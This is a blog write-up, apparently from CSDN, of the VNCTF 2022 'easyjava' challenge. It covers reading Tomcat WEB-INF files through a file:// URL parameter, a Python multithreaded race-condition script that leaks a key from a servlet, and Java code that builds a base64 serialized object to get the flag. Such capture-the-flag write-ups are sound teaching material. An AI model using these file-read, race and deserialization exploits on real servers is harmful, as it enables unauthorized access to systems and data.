[VNCTF 2022] easyjava

23 篇文章 1 订阅
20 篇文章 1 订阅

提示传参/file?url随便传个参数后,发现是Tomcat框架的

image-20220608141200881

直接读文件 web.xml没啥信息 后来发现有个classes目录

/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes

file协议读取文件即可(JDK 9之前,也可以用netdoc协议),读取后进行反编译,最开始用的jd-gui,结果有一个地方反编译有点小差错还是用在线工具吧。JAVA反向工程网 (javare.cn)

反编译好后先看下HelloWorldServlet.java的doGet函数

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String reqName = req.getParameter("name");
    if (reqName != null) {
        this.name = reqName;
    }

    if (Secr3t.check(this.name)) {
        this.Response(resp, "no vnctf2022!");
    } else {
        if (Secr3t.check(this.name)) {
            this.Response(resp, "The Key is " + Secr3t.getKey());
        }
    }
}

这里的Secr3t#check方法就是检测传入的参数值是不是vnctf2022

public static boolean check(String checkStr) {
    if ("vnctf2022".equals(checkStr))
        return true;
    return false;
}

所以这里如果想得到key就需要name传参vnctf2022,但传参后又会执行if中的语句,if和else中的语句相同所以就冲突了,所以就需要进行条件竞争,参考:Servlet的线程安全问题 | Y4tacker’s Blog

EXP

import requests
import threading

host = "http://74e07ae7-39fb-4055-bd42-ec21b675a96a.node4.buuoj.cn:81/"


class myThread(threading.Thread):
    def __init__(self, name):
        threading.Thread.__init__(self)
        self.name = name

    def run(self):
        print("开始线程:" + self.name)
        runing(self.name)
        print("退出线程:" + self.name)


def runing(name):
    while True:
        r = requests.get(host + "/evi1?name=%s" % name)
        r.encoding = "utf-8"
        #print(host + "/evi1?name=%s" % name)
        if r.text.find("The Key is") != -1:
            print(r.text)
            return 0


# 创建新线程
thread1 = myThread("Sentiment")
thread2 = myThread("vnctf2022")

# 开启新线程
thread1.start()
thread2.start()
thread1.join()
thread2.join()

之后就是doPost方法了

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String key = req.getParameter("key");
    String text = req.getParameter("base64");
    if (Secr3t.getKey().equals(key) && text != null) {
        Base64.Decoder decoder = Base64.getDecoder();
        byte[] textByte = decoder.decode(text);
        User u = (User)SerAndDe.deserialize(textByte);
        if (this.user.equals(u)) {
            this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
        }
    } else {
        this.Response(resp, "KeyError");
    }

}

接受两个参数,key和base64,key只需要传参刚才线程跑出来的key即可,base64绕过this.user.equals(u)即可

if (this.user.equals(u)) {
    this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}

最后需要注意的是User.java中的height属性是由transient修饰的,是无法序列化的,所以在生成byte的时候需要重写⼀下writeObject,否则会将⾃⼰的User对象的height值为空。

private transient String height;

User.java最后加上

private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
 s.defaultWriteObject();
 //强制序列化name
 s.writeObject(this.height);
}

Exp

import entity.User;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws IOException {
        User user = new User("m4n_q1u_666","666","180");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(user);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);
        
    }
}

传入key和base64即可

image-20220608152825301

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值